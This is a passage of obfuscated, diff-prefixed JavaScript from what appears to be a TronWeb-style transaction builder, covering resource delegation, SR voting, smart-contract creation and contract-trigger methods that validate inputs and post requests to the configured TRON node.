- owner_address: _0x21f364(_0x314d11)
- };
- var _0x433ef1 = _0x3148dc(_0x56d9a6);
- _0x4fe786(this.tronWeb, "CancelAllUnfreezeV2Contract", _0x281291, null === (_0x4a4d3a = _0x56d9a6) || undefined === _0x4a4d3a ? undefined : _0x4a4d3a.permissionId, _0x433ef1).then(function (_0x22b95c) {
- return _0x4b1166(null, _0x22b95c);
- }).catch(function (_0x3f0284) {
- return _0x4b1166(_0x3f0284);
- });
- }
- }
- }, {
- key: "delegateResource",
- value: function () {
- var _0xc7a8d7;
- var _0x2e524d = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x19c100 = arguments.length > 1 ? arguments[1] : undefined;
- var _0x37694a = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : "BANDWIDTH";
- var _0x3ba7f0 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x407239 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- var _0x547ccc = arguments.length > 5 ? arguments[5] : undefined;
- var _0x45a94f = arguments.length > 6 ? arguments[6] : undefined;
- var _0x43dbbe = arguments.length > 7 && undefined !== arguments[7] && arguments[7];
- if (_0x1db97c.isFunction(_0x45a94f) && (_0x43dbbe = _0x45a94f, _0x45a94f = {}), _0x1db97c.isFunction(_0x547ccc) ? (_0x43dbbe = _0x547ccc, _0x547ccc = undefined) : _0x1db97c.isObject(_0x547ccc) && (_0x45a94f = _0x547ccc, _0x547ccc = undefined), _0x1db97c.isFunction(_0x407239) ? (_0x43dbbe = _0x407239, _0x407239 = false) : _0x1db97c.isObject(_0x407239) && (_0x45a94f = _0x407239, _0x407239 = false), _0x1db97c.isFunction(_0x3ba7f0) ? (_0x43dbbe = _0x3ba7f0, _0x3ba7f0 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x3ba7f0) && (_0x45a94f = _0x3ba7f0, _0x3ba7f0 = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x37694a) ? (_0x43dbbe = _0x37694a, _0x37694a = "BANDWIDTH") : _0x1db97c.isObject(_0x37694a) && (_0x45a94f = _0x37694a, _0x37694a = "BANDWIDTH"), !_0x43dbbe) {
- return this.injectPromise(this.delegateResource, _0x2e524d, _0x19c100, _0x37694a, _0x3ba7f0, _0x407239, _0x547ccc, _0x45a94f);
- }
- if (!this.validator.notValid([{
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x2e524d
- }, {
- name: "resource",
- type: "resource",
- value: _0x37694a,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }, {
- name: "receiver",
- type: "address",
- value: _0x19c100
- }, {
- name: "origin",
- type: "address",
- value: _0x3ba7f0
- }, {
- name: "lock",
- type: "boolean",
- value: _0x407239
- }, {
- name: "lock period",
- type: "integer",
- gte: 0,
- value: _0x547ccc,
- optional: true
- }], _0x43dbbe)) {
- if (_0x21f364(_0x19c100) === _0x21f364(_0x3ba7f0)) {
- return _0x43dbbe("Receiver address must not be the same as owner address");
- }
- var _0x2bc4a4 = {
- owner_address: _0x21f364(_0x3ba7f0),
- receiver_address: _0x21f364(_0x19c100),
- balance: parseInt(_0x2e524d)
- };
- "BANDWIDTH" !== _0x37694a && (_0x2bc4a4.resource = _0x37694a);
- _0x407239 && (_0x2bc4a4.lock = _0x407239, _0x1db97c.isNotNullOrUndefined(_0x547ccc) && (_0x2bc4a4.lock_period = _0x547ccc));
- var _0x14810d = _0x3148dc(_0x45a94f);
- _0x4fe786(this.tronWeb, "DelegateResourceContract", _0x2bc4a4, null === (_0xc7a8d7 = _0x45a94f) || undefined === _0xc7a8d7 ? undefined : _0xc7a8d7.permissionId, _0x14810d).then(function (_0x54b55b) {
- return _0x43dbbe(null, _0x54b55b);
- }).catch(function (_0x1defc8) {
- return _0x43dbbe(_0x1defc8);
- });
- }
- }
- }, {
- key: "undelegateResource",
- value: function () {
- var _0x3a982a;
- var _0x169f74 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x395107 = arguments.length > 1 ? arguments[1] : undefined;
- var _0x235989 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : "BANDWIDTH";
- var _0x281301 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x46bd77 = arguments.length > 4 ? arguments[4] : undefined;
- var _0x40dede = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x46bd77) && (_0x40dede = _0x46bd77, _0x46bd77 = {}), _0x1db97c.isFunction(_0x281301) ? (_0x40dede = _0x281301, _0x281301 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x281301) && (_0x46bd77 = _0x281301, _0x281301 = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x235989) ? (_0x40dede = _0x235989, _0x235989 = "BANDWIDTH") : _0x1db97c.isObject(_0x235989) && (_0x46bd77 = _0x235989, _0x235989 = "BANDWIDTH"), !_0x40dede) {
- return this.injectPromise(this.undelegateResource, _0x169f74, _0x395107, _0x235989, _0x281301, _0x46bd77);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x281301
- }, {
- name: "receiver",
- type: "address",
- value: _0x395107
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x169f74
- }, {
- name: "resource",
- type: "resource",
- value: _0x235989,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }], _0x40dede)) {
- if (_0x21f364(_0x395107) === _0x21f364(_0x281301)) {
- return _0x40dede("Receiver address must not be the same as owner address");
- }
- var _0x4f3db6 = {
- owner_address: _0x21f364(_0x281301),
- receiver_address: _0x21f364(_0x395107),
- balance: parseInt(_0x169f74)
- };
- "BANDWIDTH" !== _0x235989 && (_0x4f3db6.resource = _0x235989);
- var _0xdf5de3 = _0x3148dc(_0x46bd77);
- _0x4fe786(this.tronWeb, "UnDelegateResourceContract", _0x4f3db6, null === (_0x3a982a = _0x46bd77) || undefined === _0x3a982a ? undefined : _0x3a982a.permissionId, _0xdf5de3).then(function (_0x4485eb) {
- return _0x40dede(null, _0x4485eb);
- }).catch(function (_0x1cb0e9) {
- return _0x40dede(_0x1cb0e9);
- });
- }
- }
- }, {
- key: "withdrawExpireUnfreeze",
- value: function () {
- var _0x596a6b;
- var _0x10ebd0 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0xa64741 = arguments.length > 1 ? arguments[1] : undefined;
- var _0x172592 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0xa64741) && (_0x172592 = _0xa64741, _0xa64741 = {}), _0x1db97c.isFunction(_0x10ebd0) ? (_0x172592 = _0x10ebd0, _0x10ebd0 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x10ebd0) && (_0xa64741 = _0x10ebd0, _0x10ebd0 = this.tronWeb.defaultAddress.hex), !_0x172592) {
- return this.injectPromise(this.withdrawExpireUnfreeze, _0x10ebd0, _0xa64741);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x10ebd0
- }], _0x172592)) {
- var _0x464d79 = {
- owner_address: _0x21f364(_0x10ebd0)
- };
- var _0x4ace7d = _0x3148dc(_0xa64741);
- _0x4fe786(this.tronWeb, "WithdrawExpireUnfreezeContract", _0x464d79, null === (_0x596a6b = _0xa64741) || undefined === _0x596a6b ? undefined : _0x596a6b.permissionId, _0x4ace7d).then(function (_0x540a3c) {
- return _0x172592(null, _0x540a3c);
- }).catch(function (_0x123538) {
- return _0x172592(_0x123538);
- });
- }
- }
- }, {
- key: "withdrawBlockRewards",
- value: function () {
- var _0x1f9b2b;
- var _0x30702e = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x143bd4 = arguments.length > 1 ? arguments[1] : undefined;
- var _0x5bad74 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x143bd4) && (_0x5bad74 = _0x143bd4, _0x143bd4 = {}), _0x1db97c.isFunction(_0x30702e) ? (_0x5bad74 = _0x30702e, _0x30702e = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x30702e) && (_0x143bd4 = _0x30702e, _0x30702e = this.tronWeb.defaultAddress.hex), !_0x5bad74) {
- return this.injectPromise(this.withdrawBlockRewards, _0x30702e, _0x143bd4);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x30702e
- }], _0x5bad74)) {
- var _0x457f9a = {
- owner_address: _0x21f364(_0x30702e)
- };
- var _0x2a877f = _0x3148dc(_0x143bd4);
- _0x4fe786(this.tronWeb, "WithdrawBalanceContract", _0x457f9a, null === (_0x1f9b2b = _0x143bd4) || undefined === _0x1f9b2b ? undefined : _0x1f9b2b.permissionId, _0x2a877f).then(function (_0x561cc9) {
- return _0x5bad74(null, _0x561cc9);
- }).catch(function (_0xc50a7a) {
- return _0x5bad74(_0xc50a7a);
- });
- }
- }
- }, {
- key: "applyForSR",
- value: function () {
- var _0xe5485d;
- var _0x5071d9 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x164fc7 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x53a500 = arguments.length > 2 ? arguments[2] : undefined;
- var _0x405181 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x53a500) && (_0x405181 = _0x53a500, _0x53a500 = {}), _0x1db97c.isObject(_0x164fc7) && _0x1db97c.isValidURL(_0x5071d9) && (_0x53a500 = _0x164fc7, _0x164fc7 = _0x5071d9, _0x5071d9 = this.tronWeb.defaultAddress.hex), !_0x405181) {
- return this.injectPromise(this.applyForSR, _0x5071d9, _0x164fc7, _0x53a500);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x5071d9
- }, {
- name: "url",
- type: "url",
- value: _0x164fc7,
- msg: "Invalid url provided"
- }, {
- name: "url",
- type: "string",
- value: _0x164fc7,
- lte: 256,
- msg: "Invalid url provided"
- }], _0x405181)) {
- var _0x296d24 = {
- owner_address: _0x21f364(_0x5071d9),
- url: _0x5c310a(_0x164fc7)
- };
- var _0x10e93c = _0x3148dc(_0x53a500);
- _0x4fe786(this.tronWeb, "WitnessCreateContract", _0x296d24, null === (_0xe5485d = _0x53a500) || undefined === _0xe5485d ? undefined : _0xe5485d.permissionId, _0x10e93c).then(function (_0x36c463) {
- return _0x405181(null, _0x36c463);
- }).catch(function (_0x18ce04) {
- return _0x405181(_0x18ce04);
- });
- }
- }
- }, {
- key: "vote",
- value: function () {
- var _0x40b085;
- var _0x3d3c28 = this;
- var _0x134aad = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x18f89b = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x46ee1a = arguments.length > 2 ? arguments[2] : undefined;
- var _0x38d183 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x46ee1a) && (_0x38d183 = _0x46ee1a, _0x46ee1a = {}), _0x1db97c.isFunction(_0x18f89b) ? (_0x38d183 = _0x18f89b, _0x18f89b = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x18f89b) && (_0x46ee1a = _0x18f89b, _0x18f89b = this.tronWeb.defaultAddress.hex), !_0x38d183) {
- return this.injectPromise(this.vote, _0x134aad, _0x18f89b, _0x46ee1a);
- }
- if (!this.validator.notValid([{
- name: "voter",
- type: "address",
- value: _0x18f89b
- }, {
- name: "votes",
- type: "notEmptyObject",
- value: _0x134aad
- }], _0x38d183)) {
- var _0x295687 = false;
- if (_0x134aad = Object.entries(_0x134aad).map(function (_0x3a92e6) {
- var _0x9736b1 = _0x19dc48(_0x3a92e6, 2);
- var _0x2dd9b8 = _0x9736b1[0];
- var _0x53f333 = _0x9736b1[1];
- if (!_0x295687) {
- return _0x3d3c28.validator.notValid([{
- name: "SR",
- type: "address",
- value: _0x2dd9b8
- }, {
- name: "vote count",
- type: "integer",
- gt: 0,
- value: _0x53f333,
- msg: "Invalid vote count provided for SR: " + _0x2dd9b8
- }]) ? _0x295687 = true : {
- vote_address: _0x21f364(_0x2dd9b8),
- vote_count: parseInt(_0x53f333)
- };
- }
- }), !_0x295687) {
- var _0x245083 = {
- owner_address: _0x21f364(_0x18f89b),
- votes: _0x134aad
- };
- var _0x483107 = _0x3148dc(_0x46ee1a);
- _0x4fe786(this.tronWeb, "VoteWitnessContract", _0x245083, null === (_0x40b085 = _0x46ee1a) || undefined === _0x40b085 ? undefined : _0x40b085.permissionId, _0x483107).then(function (_0x1de837) {
- return _0x38d183(null, _0x1de837);
- }).catch(function (_0x358276) {
- return _0x38d183(_0x358276);
- });
- }
- }
- }
- }, {
- key: "createSmartContract",
- value: function () {
- var _0x370b4e = this;
- var _0x485c73 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x4fab98 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x1c8c1e = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x4fab98) && (_0x1c8c1e = _0x4fab98, _0x4fab98 = this.tronWeb.defaultAddress.hex), !_0x1c8c1e) {
- return this.injectPromise(this.createSmartContract, _0x485c73, _0x4fab98);
- }
- var _0x4427b5 = _0x485c73.feeLimit || this.tronWeb.feeLimit;
- var _0x5f3cde = _0x485c73.userFeePercentage;
- "number" == typeof _0x5f3cde || _0x5f3cde || (_0x5f3cde = 100);
- var _0x38cae3 = _0x485c73.originEnergyLimit || 10000000;
- var _0x4f34eb = _0x485c73.callValue || 0;
- var _0x141458 = _0x485c73.tokenValue;
- var _0x4ad151 = _0x485c73.tokenId || _0x485c73.token_id;
- var _0x238ef3 = _0x485c73.abi;
- var _0x22eccd = undefined !== _0x238ef3 && _0x238ef3;
- var _0x293ed3 = _0x485c73.bytecode;
- var _0x43a2e6 = undefined !== _0x293ed3 && _0x293ed3;
- var _0x4b018e = _0x485c73.parameters;
- var _0x47d76f = undefined === _0x4b018e ? [] : _0x4b018e;
- var _0x443370 = _0x485c73.name;
- var _0x3cec0b = undefined === _0x443370 ? "" : _0x443370;
- if (_0x22eccd && _0x1db97c.isString(_0x22eccd)) {
- try {
- _0x22eccd = JSON.parse(_0x22eccd);
- } catch (_0x13e2f8) {
- return _0x1c8c1e("Invalid options.abi provided");
- }
- }
- if (_0x22eccd.entrys && (_0x22eccd = _0x22eccd.entrys), !_0x1db97c.isArray(_0x22eccd)) {
- return _0x1c8c1e("Invalid options.abi provided");
- }
- var _0x39bc88 = _0x22eccd.some(function (_0x2d021d) {
- return "constructor" === _0x2d021d.type && "payable" === _0x2d021d.stateMutability.toLowerCase();
- });
- if (!this.validator.notValid([{
- name: "bytecode",
- type: "hex",
- value: _0x43a2e6
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x4427b5,
- gt: 0
- }, {
- name: "callValue",
- type: "integer",
- value: _0x4f34eb,
- gte: 0
- }, {
- name: "userFeePercentage",
- type: "integer",
- value: _0x5f3cde,
- gte: 0,
- lte: 100
- }, {
- name: "originEnergyLimit",
- type: "integer",
- value: _0x38cae3,
- gte: 0,
- lte: 10000000
- }, {
- name: "parameters",
- type: "array",
- value: _0x47d76f
- }, {
- name: "issuer",
- type: "address",
- value: _0x4fab98
- }, {
- name: "tokenValue",
- type: "integer",
- value: _0x141458,
- gte: 0,
- optional: true
- }, {
- name: "tokenId",
- type: "integer",
- value: _0x4ad151,
- gte: 0,
- optional: true
- }], _0x1c8c1e)) {
- if (!_0x39bc88 && (_0x4f34eb > 0 || _0x141458 > 0)) {
- return _0x1c8c1e("When contract is not payable, options.callValue and options.tokenValue must be 0");
- }
- if (_0x485c73.rawParameter && _0x1db97c.isString(_0x485c73.rawParameter)) {
- _0x47d76f = _0x485c73.rawParameter.replace(/^(0x)/, "");
- } else {
- if (_0x485c73.funcABIV2) {
- _0x47d76f = _0x4f1669(_0x485c73.funcABIV2, _0x485c73.parametersV2).replace(/^(0x)/, "");
- } else {
- var _0x12d7d6 = _0x22eccd.find(function (_0x543024) {
- return "constructor" === _0x543024.type;
- });
- if (undefined !== _0x12d7d6 && _0x12d7d6) {
- var _0x5363d5 = new _0x212bca();
- var _0x137a57 = [];
- var _0x2f504e = [];
- if (_0x12d7d6 = _0x12d7d6.inputs, _0x47d76f.length != _0x12d7d6.length) {
- return _0x1c8c1e("constructor needs ".concat(_0x12d7d6.length, " but ").concat(_0x47d76f.length, " provided"));
- }
- for (var _0x54f585 = function () {
- var _0x3c8089 = _0x12d7d6[_0xd0775b].type;
- var _0x369603 = _0x47d76f[_0xd0775b];
- if (!_0x3c8089 || !_0x1db97c.isString(_0x3c8089) || !_0x3c8089.length) {
- return {
- v: _0x1c8c1e("Invalid parameter type provided: " + _0x3c8089)
- };
- }
- _0x3c8089.startsWith("address") ? _0x369603 = function _0x2b4635(_0x33662c) {
- return _0x1db97c.isArray(_0x33662c) ? _0x33662c.map(function (_0x4a566f) {
- return _0x2b4635(_0x4a566f);
- }) : _0x21f364(_0x33662c).replace(_0x1b0abe, "0x");
- }(_0x369603) : /trcToken/.test(_0x3c8089) && (_0x3c8089 = _0x3c8089.replace(/trcToken/, "uint256"));
- _0x137a57.push(_0x3c8089);
- _0x2f504e.push(_0x369603);
- }, _0xd0775b = 0; _0xd0775b < _0x47d76f.length; _0xd0775b++) {
- var _0x2db628 = _0x54f585();
- if ("object" === _0x4dce66(_0x2db628)) {
- return _0x2db628.v;
- }
- }
- try {
- _0x47d76f = _0x5363d5.encode(_0x137a57, _0x2f504e).replace(/^(0x)/, "");
- } catch (_0x3035dc) {
- return _0x1c8c1e(_0x3035dc);
- }
- } else {
- _0x47d76f = "";
- }
- }
- }
- var _0x313362 = {
- owner_address: _0x21f364(_0x4fab98),
- fee_limit: parseInt(_0x4427b5),
- call_value: parseInt(_0x4f34eb),
- consume_user_resource_percent: _0x5f3cde,
- origin_energy_limit: _0x38cae3,
- abi: JSON.stringify(_0x22eccd),
- bytecode: _0x43a2e6,
- parameter: _0x47d76f,
- name: _0x3cec0b
- };
- _0x1db97c.isNotNullOrUndefined(_0x141458) && (_0x313362.call_token_value = parseInt(_0x141458));
- _0x1db97c.isNotNullOrUndefined(_0x4ad151) && (_0x313362.token_id = parseInt(_0x4ad151));
- new Promise(function (_0x4535af) {
- var _0x26610a;
- var _0x2401e1 = {
- owner_address: _0x313362.owner_address
- };
- _0x1db97c.isNotNullOrUndefined(_0x313362.call_token_value) && (_0x2401e1.call_token_value = _0x313362.call_token_value);
- _0x1db97c.isNotNullOrUndefined(_0x313362.token_id) && (_0x2401e1.token_id = _0x313362.token_id);
- _0x2401e1.new_contract = {};
- var _0x363265 = _0x2401e1.new_contract;
- _0x313362.abi ? _0x363265.abi = {
- entrys: JSON.parse(_0x313362.abi)
- } : _0x363265.abi = {};
- _0x313362.call_value && (_0x363265.call_value = _0x313362.call_value);
- _0x363265.consume_user_resource_percent = _0x313362.consume_user_resource_percent;
- _0x363265.origin_energy_limit = _0x313362.origin_energy_limit;
- _0x363265.origin_address = null !== (_0x26610a = _0x313362.origin_address) && undefined !== _0x26610a ? _0x26610a : _0x313362.owner_address;
- _0x313362.bytecode + _0x313362.parameter && (_0x363265.bytecode = (_0x313362.bytecode + _0x313362.parameter).replace(/^0x/, ""));
- _0x1db97c.isNotNullOrUndefined(_0x313362.name) && (_0x363265.name = _0x313362.name);
- _0x4535af(_0x2401e1);
- }).then(function () {
- var _0x41d548 = _0x203d83(_0x307918().mark(function _0x47673c(_0x160e97) {
- var _0x433c9e;
- var _0x522cbe;
- return _0x307918().wrap(function (_0x4f4b92) {
- for (;;) {
- switch (_0x4f4b92.prev = _0x4f4b92.next) {
- case 0:
- _0x433c9e = _0x3148dc(_0x485c73);
- _0x4f4b92.next = 3;
- return _0x4fe786(_0x370b4e.tronWeb, "CreateSmartContract", _0x160e97, null == _0x485c73 ? undefined : _0x485c73.permissionId, _0x53648b(_0x53648b({}, _0x433c9e), {}, {
- fee_limit: _0x313362.fee_limit
- }));
- case 3:
- (_0x522cbe = _0x4f4b92.sent).contract_address = (_0x41ce27 = _0x313362.owner_address, _0x210e1a = _0x522cbe.txID, "41" + _0xa68238(Buffer.from(_0x210e1a + _0x41ce27, "hex")).toString().substring(2).slice(24));
- return _0x4f4b92.abrupt("return", _0x522cbe);
- case 6:
- case "end":
- return _0x4f4b92.stop();
- }
- }
- var _0x41ce27;
- var _0x210e1a;
- }, _0x47673c);
- }));
- return function (_0x2ba487) {
- return _0x41d548.apply(this, arguments);
- };
- }()).then(function (_0x3d6cf6) {
- return _0x1c8c1e(null, _0x3d6cf6);
- }).catch(function (_0x52f61d) {
- return _0x1c8c1e(_0x52f61d);
- });
- }
- }
- }, {
- key: "triggerSmartContract",
- value: function () {
- for (var _0x194d29, _0x38d271 = arguments.length, _0x7472cd = new Array(_0x38d271), _0x59333f = 0; _0x59333f < _0x38d271; _0x59333f++) {
- _0x7472cd[_0x59333f] = arguments[_0x59333f];
- }
- "object" !== _0x4dce66(_0x7472cd[2]) && (_0x7472cd[2] = {
- feeLimit: _0x7472cd[2],
- callValue: _0x7472cd[3]
- }, _0x7472cd.splice(3, 1));
- return null !== (_0x194d29 = _0x7472cd[2]) && undefined !== _0x194d29 && _0x194d29.txLocal ? this._triggerSmartContractLocal.apply(this, _0x7472cd) : this._triggerSmartContract.apply(this, _0x7472cd);
- }
- }, {
- key: "triggerConstantContract",
- value: function () {
- for (var _0x4a749f = arguments.length, _0x2ab5cb = new Array(_0x4a749f), _0x1a685f = 0; _0x1a685f < _0x4a749f; _0x1a685f++) {
- _0x2ab5cb[_0x1a685f] = arguments[_0x1a685f];
- }
- _0x2ab5cb[2]._isConstant = true;
- return this._triggerSmartContract.apply(this, _0x2ab5cb);
- }
- }, {
- key: "triggerConfirmedConstantContract",
- value: function () {
- for (var _0x4929b0 = arguments.length, _0x5439f5 = new Array(_0x4929b0), _0x471f2f = 0; _0x471f2f < _0x4929b0; _0x471f2f++) {
- _0x5439f5[_0x471f2f] = arguments[_0x471f2f];
- }
- _0x5439f5[2]._isConstant = true;
- _0x5439f5[2].confirmed = true;
- return this._triggerSmartContract.apply(this, _0x5439f5);
- }
- }, {
- key: "estimateEnergy",
- value: function () {
- for (var _0x134411 = arguments.length, _0x5c27ee = new Array(_0x134411), _0x433336 = 0; _0x433336 < _0x134411; _0x433336++) {
- _0x5c27ee[_0x433336] = arguments[_0x433336];
- }
- _0x5c27ee[2].estimateEnergy = true;
- return this._triggerSmartContract.apply(this, _0x5c27ee);
- }
- }, {
- key: "deployConstantContract",
- value: (_0x18f3a0 = _0x203d83(_0x307918().mark(function _0x13391e() {
- var _0x2ecda0;
- var _0x4fee9c;
- var _0x2bf5e3;
- var _0x3c06a0;
- var _0x5eb011;
- var _0x33c7b8;
- var _0x30fbca;
- var _0x3897d9;
- var _0x48656b;
- var _0x2a11e0 = this;
- var _0x455c74 = arguments;
- return _0x307918().wrap(function (_0x1a214b) {
- for (;;) {
- switch (_0x1a214b.prev = _0x1a214b.next) {
- case 0:
- _0x4fee9c = (_0x2ecda0 = _0x455c74.length > 0 && undefined !== _0x455c74[0] ? _0x455c74[0] : {}).input;
- _0x2bf5e3 = _0x2ecda0.ownerAddress;
- _0x3c06a0 = _0x2ecda0.tokenId;
- _0x5eb011 = _0x2ecda0.tokenValue;
- _0x33c7b8 = _0x2ecda0.callValue;
- _0x30fbca = undefined === _0x33c7b8 ? 0 : _0x33c7b8;
- this.validator.notValid([{
- name: "input",
- type: "not-empty-string",
- value: _0x4fee9c
- }, {
- name: "callValue",
- type: "integer",
- value: _0x30fbca,
- gte: 0
- }, {
- name: "owner",
- type: "address",
- value: _0x2bf5e3
- }, {
- name: "tokenValue",
- type: "integer",
- value: _0x5eb011,
- gte: 0,
- optional: true
- }, {
- name: "tokenId",
- type: "integer",
- value: _0x3c06a0,
- gte: 0,
- optional: true
- }], function (_0x5c8c7a) {
- throw new Error(_0x5c8c7a);
- });
- _0x3897d9 = {
- data: _0x4fee9c,
- owner_address: _0x21f364(_0x2bf5e3),
- call_value: _0x30fbca
- };
- _0x3c06a0 && (_0x3897d9.token_id = _0x3c06a0);
- _0x5eb011 && (_0x3897d9.call_token_value = _0x5eb011);
- _0x48656b = "wallet".concat(_0x2ecda0.confirmed ? "solidity" : "", "/").concat(_0x2ecda0.estimateEnergy ? "estimateenergy" : "triggerconstantcontract");
- return _0x1a214b.abrupt("return", this.tronWeb[_0x2ecda0.confirmed ? "solidityNode" : "fullNode"].request(_0x48656b, _0x3897d9, "post").then(function (_0x14a455) {
- if (_0x14a455.Error) {
- throw new Error(_0x14a455.Error);
- }
- if (_0x14a455.result && _0x14a455.result.message) {
- throw new Error(_0x2a11e0.tronWeb.toUtf8(_0x14a455.result.message));
- }
- return _0x14a455;
- }).then(function (_0x44c071) {
- return _0x44c071.energy_used ? {
- result: _0x44c071.result,
- energy_required: _0x44c071.energy_used
- } : _0x44c071;
- }));
- case 8:
- case "end":
- return _0x1a214b.stop();
- }
- }
- }, _0x13391e, this);
- })), function () {
- return _0x18f3a0.apply(this, arguments);
- })
- }, {
- key: "_getTriggerSmartContractArgs",
- value: function (_0x156a15, _0xf9d3e3, _0x218fe8, _0x1200a1, _0x2b6bc0, _0x29c635, _0x4fde9c, _0x237d34, _0x205163) {
- var _0x1cccb6 = {
- contract_address: _0x21f364(_0x156a15),
- owner_address: _0x21f364(_0x2b6bc0)
- };
- if (_0xf9d3e3 && _0x1db97c.isString(_0xf9d3e3)) {
- if (_0xf9d3e3 = _0xf9d3e3.replace("/s*/g", ""), _0x1200a1.length) {
- for (var _0x2868bc = new _0x212bca(), _0xc8492d = [], _0x49b5d1 = [], _0x86b828 = function () {
- var _0x28fcfb = _0x1200a1[_0x33508c];
- var _0xf6ca5e = _0x28fcfb.type;
- var _0x5c51e2 = _0x28fcfb.value;
- if (!_0xf6ca5e || !_0x1db97c.isString(_0xf6ca5e) || !_0xf6ca5e.length) {
- throw new Error("Invalid parameter type provided: " + _0xf6ca5e);
- }
- _0xf6ca5e.startsWith("address") && (_0x5c51e2 = function _0x8415bd(_0x165e00) {
- return _0x1db97c.isArray(_0x165e00) ? _0x165e00.map(function (_0x5a27a5) {
- return _0x8415bd(_0x5a27a5);
- }) : _0x21f364(_0x165e00).replace(_0x1b0abe, "0x");
- }(_0x5c51e2));
- _0xc8492d.push(_0xf6ca5e);
- _0x49b5d1.push(_0x5c51e2);
- }, _0x33508c = 0; _0x33508c < _0x1200a1.length; _0x33508c++) {
- _0x86b828();
- }
- _0xc8492d = _0xc8492d.map(function (_0x671e32) {
- /trcToken/.test(_0x671e32) && (_0x671e32 = _0x671e32.replace(/trcToken/, "uint256"));
- return _0x671e32;
- });
- _0x1200a1 = _0x2868bc.encode(_0xc8492d, _0x49b5d1).replace(/^(0x)/, "");
- } else {
- _0x1200a1 = "";
- }
- _0x218fe8.funcABIV2 && (_0x1200a1 = _0x4f1669(_0x218fe8.funcABIV2, _0x218fe8.parametersV2).replace(/^(0x)/, ""));
- _0x218fe8.shieldedParameter && _0x1db97c.isString(_0x218fe8.shieldedParameter) && (_0x1200a1 = _0x218fe8.shieldedParameter.replace(/^(0x)/, ""));
- _0x218fe8.rawParameter && _0x1db97c.isString(_0x218fe8.rawParameter) && (_0x1200a1 = _0x218fe8.rawParameter.replace(/^(0x)/, ""));
- _0x1cccb6.function_selector = _0xf9d3e3;
- _0x1cccb6.parameter = _0x1200a1;
- } else {
- _0x218fe8.input && (_0x1cccb6.data = _0x218fe8.input);
- }
- _0x1cccb6.call_value = parseInt(_0x237d34);
- _0x1db97c.isNotNullOrUndefined(_0x29c635) && (_0x1cccb6.call_token_value = parseInt(_0x29c635));
- _0x1db97c.isNotNullOrUndefined(_0x4fde9c) && (_0x1cccb6.token_id = parseInt(_0x4fde9c));
- _0x218fe8._isConstant || _0x218fe8.estimateEnergy || (_0x1cccb6.fee_limit = parseInt(_0x205163));
- _0x218fe8.permissionId && (_0x1cccb6.Permission_id = _0x218fe8.permissionId);
- return _0x1cccb6;
- }
- }, {
- key: "_triggerSmartContractLocal",
- value: function (_0x10499c, _0x368cb3) {
- var _0x49278a = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- var _0x23c416 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : [];
- var _0x3c8c01 = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : this.tronWeb.defaultAddress.hex;
- var _0x5c39c3 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x3c8c01) && (_0x5c39c3 = _0x3c8c01, _0x3c8c01 = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x23c416) && (_0x5c39c3 = _0x23c416, _0x23c416 = []), !_0x5c39c3) {
- return this.injectPromise(this._triggerSmartContractLocal, _0x10499c, _0x368cb3, _0x49278a, _0x23c416, _0x3c8c01);
- }
- var _0x51bcb1 = Object.assign({
- callValue: 0,
- feeLimit: this.tronWeb.feeLimit
- }, _0x49278a);
- var _0x2eda65 = _0x51bcb1.tokenValue;
- var _0x53d71f = _0x51bcb1.tokenId;
- var _0x8c3370 = _0x51bcb1.callValue;
- var _0x18774b = _0x51bcb1.feeLimit;
- if (!this.validator.notValid([{
- name: "feeLimit",
- type: "integer",
- value: _0x18774b,
- gt: 0
- }, {
- name: "callValue",
- type: "integer",
